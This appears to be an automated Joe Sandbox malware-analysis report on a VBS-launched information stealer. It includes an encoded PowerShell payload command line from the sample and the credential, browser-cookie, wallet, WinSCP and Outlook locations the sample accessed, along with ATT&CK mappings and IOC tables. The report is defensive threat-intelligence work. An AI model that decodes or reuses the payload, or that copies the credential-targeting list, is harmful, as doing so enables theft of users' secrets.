g8abqbhagkabgbdadoaogbdahuacgbyaguabgb0aeqabwbtageaaqbuac4atabvageazaaoacqaqwbpahqababtagcaagbuahqababpackaowagacqatqbxagqacgb0agsabqbwagyabgb3acaapqagacqatwbjaggaaqb5aggadwboahmabqauaeuabgb0ahiaeqbqag8aaqbuahqaowagafsauwb5ahmadablag0algbeaguabablagcayqb0aguaxqa6adoaqwbyaguayqb0aguarablagwazqbnageadablacgawwbbagmadabpag8abgbdacwaiaakae0acqbkahiadabrag0acabmag4adwauaeqazqbjagwayqbyagkabgbnafqaeqbwagualaagacqatqbxagqacgb0agsabqbwagyabgb3ac4atgbhag0azqapac4arab5ag4ayqbtagkaywbjag4adgbvagsazqaoackaiab8acaatwb1ahqalqboahuababsaa==
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\FileCopy.vbs.exe "c:\users\user\desktop\filecopy.vbs.exe" -enc jabjahyaaqbpagiacwbtagyaaqbvacaapqagafsauwb5ahmadablag0algbeagkayqbnag4abwbzahqaaqbjahmalgbqahiabwbjaguacwbzaf0aoga6aecazqb0aemadqbyahiazqbuahqauabyag8aywblahmacwaoackalgbnageaaqbuae0abwbkahuabablac4argbpagwazqboageabqblac4augblahaababhagmazqaoaccalgblahgazqanacwajwanackaowakaeeadab0agsadgb5agcaiaa9acaazwblahqalqbjag8abgb0aguabgb0acaajabjahyaaqbpagiacwbtagyaaqbvacaafaagafmazqbsaguaywb0ac0atwbiagoazqbjahqaiaataewayqbzahqaiaaxadsaiaakaemaaqb0agwabqbnagoabgb0agwaaqagad0aiabbafmaeqbzahqazqbtac4aqwbvag4adgblahiadabdadoaogbgahiabwbtaeiayqbzaguanga0afmadabyagkabgbnacgajabbahqadabrahyaeqbnac4augblahaababhagmazqaoaccaugbfae0aiaanacwaiaanaccakqauafiazqbwagwayqbjaguakaanaeaajwasacaajwbbaccakqapadsajabsahcaaqbuahcaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4atqblag0abwbyahkauwb0ahiazqbhag0akaagacwaiaakaemaaqb0agwabqbnagoabgb0agwaaqagackaowakafgabwbmahaayqblagwabwbqacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauae0azqbtag8acgb5afmadabyaguayqbtadsajabzahgabab2agyazgbnacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauaemabwbtahaacgblahmacwbpag8abgauaecaegbpahaauwb0ahiazqbhag0aiaakafiadwbpag4adwasacaakabbaekatwauaemabwbtahaacgblahmacwbpag8abgauaemabwbtahaacgblahmacwbpag8abgbnag8azablaf0aoga6aeqazqbjag8abqbwahiazqbzahmakqa7acqawqb4agwadgbmagyazwauaemabwbwahkavabvacgaiaakafgabwbmahaayqblagwabwbqacaakqa7acqawqb4agwadgbmagyazwauaemababvahmazqaoackaowakafiadwbpag4adwauaemababvahmazqaoackaowbbagiaeqb0aguawwbdaf0aiaakaemaaqb0agwabqbnagoabgb0agwaaqagad0aiaakafgabwbmahaayqblagwabwbqac4avabvaeeacgbyageaeqaoackaowbbaeeacgbyageaeqbdadoaogbsaguadgblahiacwblacgajabdagkadabsag0azwbqag4adabsagkakqa7acaajabpagmaaabpahkaaab3aggacwbtacaapqagafsauwb5ahmadablag0algbbahaacabeag8abqbhagkabgbdadoaogbdahuacgbyaguabgb0aeqabwbtageaaqbuac4atabvageazaaoacqaqwbpahqababtagcaagbuahqababpackaowagacqatqbxagqacgb0agsabqbwagyabgb3acaapqagacqatwbjaggaaqb5aggadwboahmabqauaeuabgb0ahiaeqbqag8aaqbuahqaowagafsauwb5ahmadablag0algbeaguabablagcayqb0aguaxqa6adoaqwbyaguayqb0aguarablagwazqbnageadablacgawwbbagmadabpag8abgbdacwaiaakae0acqbkahiadabrag0acabmag4adwauaeqazqbjagwayqbyagkabgbnafqaeqbwagualaagacqatqbxagqacgb0agsabqbwagyabgb3ac4atgbhag0azqapac4arab5ag4ayqbtagkaywbjag4adgbvagsazqaoackaiab8acaatwb1ahqalqboahuababsaa==			Jump to behavior

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: InstallUtil.exe, 00000006.00000002.1507187190.000000000587C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Found many strings related to Crypto-Wallets (likely being stolen)

Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrumk
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectronCash=
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty!
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000003178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q2C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC4
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000003178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q/C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\configigfig\Config.json
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum2
Source: InstallUtil.exe, 00000006.00000002.1488056687.00000000030C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q4C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: FileCopy.vbs.exe, 00000004.00000002.1435487316.0000000009920000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: Yara match	File source: 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1488056687.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1488056687.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7612, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	21 Scripting	Valid Accounts	141 Windows Management Instrumentation	21 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	34 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	2 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	51 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	51 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FileCopy.vbs	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Desktop\FileCopy.vbs.exe	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false		high
90.168.9.0.in-addr.arpa	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nuget.org/NuGet.exe	FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/14436606/23354	FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004CCA000.00000004.00000800.00020000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1488056687.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-netJ	FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004AF2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004AF2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discordapp.com/api/v9/users/	InstallUtil.exe, 00000006.00000002.1488056687.0000000002F32000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-net	FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004AF2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefox	InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-neti	FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore6lB	FileCopy.vbs.exe, 00000004.00000002.1404565314.00000000049A1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/11564914/23354;	FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/2152978/23354	FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://icanhazip.com/	InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1488056687.0000000002F32000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/	InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1488056687.0000000002F32000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	FileCopy.vbs.exe, 00000004.00000002.1404565314.00000000049A1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.29.9.118	unknown	European Union		60567	DATACLUB-SE	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564712
Start date and time:	2024-11-28 18:26:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FileCopy.vbs
Detection:	MAL
Classification:	mal100.bank.spyw.evad.winVBS@8/4@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 87% Number of executed functions: 471 Number of non-executed functions: 23
Cookbook Comments:	Found application associated with file extension: .vbs Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: FileCopy.vbs

Simulations

Behavior and APIs

Time	Type	Description
12:27:53	API Interceptor	15x Sleep call for process: FileCopy.vbs.exe modified
12:27:56	API Interceptor	56x Sleep call for process: InstallUtil.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	rSolicita____odecota____o.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	mxywHBknfo.exe	Get hash	malicious	RedLine	Browse	13.107.246.63
	https://ddbsodvnnadewe.z1.web.core.windows.net/?gad_source=5&gclid=EAIaIQobChMI4taSwu7-iQMVTvE7Ah3nKQf9EAEYASAAEgK2EvD_BwE	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	goHB2EXlPf.exe	Get hash	malicious	RedLine, SectopRAT	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DATACLUB-SE	DHL-SHIPMENT-DOCUMENT-BILL-OF-LADING-PACKING-LIST.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	185.29.8.119
	Quotation - SQ_HYD_003861.exe	Get hash	malicious	Remcos	Browse	109.248.144.158
	Purchase#Order630080.pdf.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse	185.29.8.102
	Wg3tf5MIzS.vbs	Get hash	malicious	PureLog Stealer	Browse	185.29.10.52
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	185.29.10.52
	Fwo62RjOqH.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	185.29.10.52
